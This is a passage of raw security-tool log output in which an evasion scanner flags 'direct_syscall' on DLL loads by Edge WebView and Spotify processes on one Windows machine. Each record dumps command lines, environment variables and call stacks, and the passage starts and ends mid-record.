POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9beb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9be8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffec9b84304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffec9a5b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9a5a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffec9b2ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffec9bc717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffec9a877fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffec9a862ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffec9ad8013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffec9a9eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffec9a374bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a36e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffea52293f7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52286a6 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5268cb7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5266f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52706d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:30:45+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 15724048 + Pid: 5816 + Tid: 17248 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:30:43.9735654 +0100 CET + Params: base_address➜ 7ffeaf1c0000, checksum➜ 289238, default_address➜ 7ffeaf1c0000, file_path➜ C:\Windows\System32\aadWamExtension.dll, image_size➜ 229376, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 5816, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 5816 + Ppid: 10508 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5816 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5816_TVMVJEWKRZXCIJBC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:341 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a844fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9bed25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9a3923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a38af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a3966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffec9a3a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffea52656d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522e3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866b686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ffea529554e C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5266a00 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526857b C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5268d67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5266f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52706d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:35:12+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 16304039 + Pid: 8492 + Tid: 3536 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:35:09.0390973 +0100 CET + Params: base_address➜ 7ffe9cb20000, checksum➜ 721825, default_address➜ 7ffe9cb20000, file_path➜ C:\Windows\System32\AppResolver.dll, image_size➜ 708608, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 8492, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 8492 + Ppid: 8580 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8492_WHFCMZBBDXUCVAMT COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe56275014 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!DumpHungProcessWithPtype_ExportThunk|0x7ffe5612bd7a C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffe5612c203 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9beb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9becd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9b87dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffec9aa200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffec9b879fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffec9b470a7 C:\Windows\System32\combase.dll!Ordinal178|0x7ffec9b4695d C:\Windows\System32\combase.dll!Ordinal232|0x7ffec9b87181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffec9aa1e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffec9aa200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffec9aa0b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffec9aa200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffec9be836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffec9be2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffec9b2bb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffec9b2b91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffe9590e00e C:\Windows\System32\twinui.dll!DllCanUnloadNow|0x7ffe9590de91 C:\Windows\System32\twinui.dll!DllCanUnloadNow|0x7ffe9590dd96 C:\Windows\System32\twinui.dll!DllCanUnloadNow|0x7ffebab8465c C:\Windows\System32\twinapi.appcore.dll!?|0x7ffebac1626f C:\Windows\System32\twinapi.appcore.dll!BiChangeApplicationStateForPackageName|0x7ffebac1429d C:\Windows\System32\twinapi.appcore.dll!BiChangeApplicationStateForPackageName|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:35:12+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 16304637 + Pid: 8492 + Tid: 14644 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:35:09.0717216 +0100 CET + Params: base_address➜ 7ffea4fa0000, checksum➜ 903222, default_address➜ 7ffea4fa0000, file_path➜ C:\Windows\System32\OneCoreCommonProxyStub.dll, image_size➜ 823296, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 8492, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 8492 + Ppid: 8580 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: 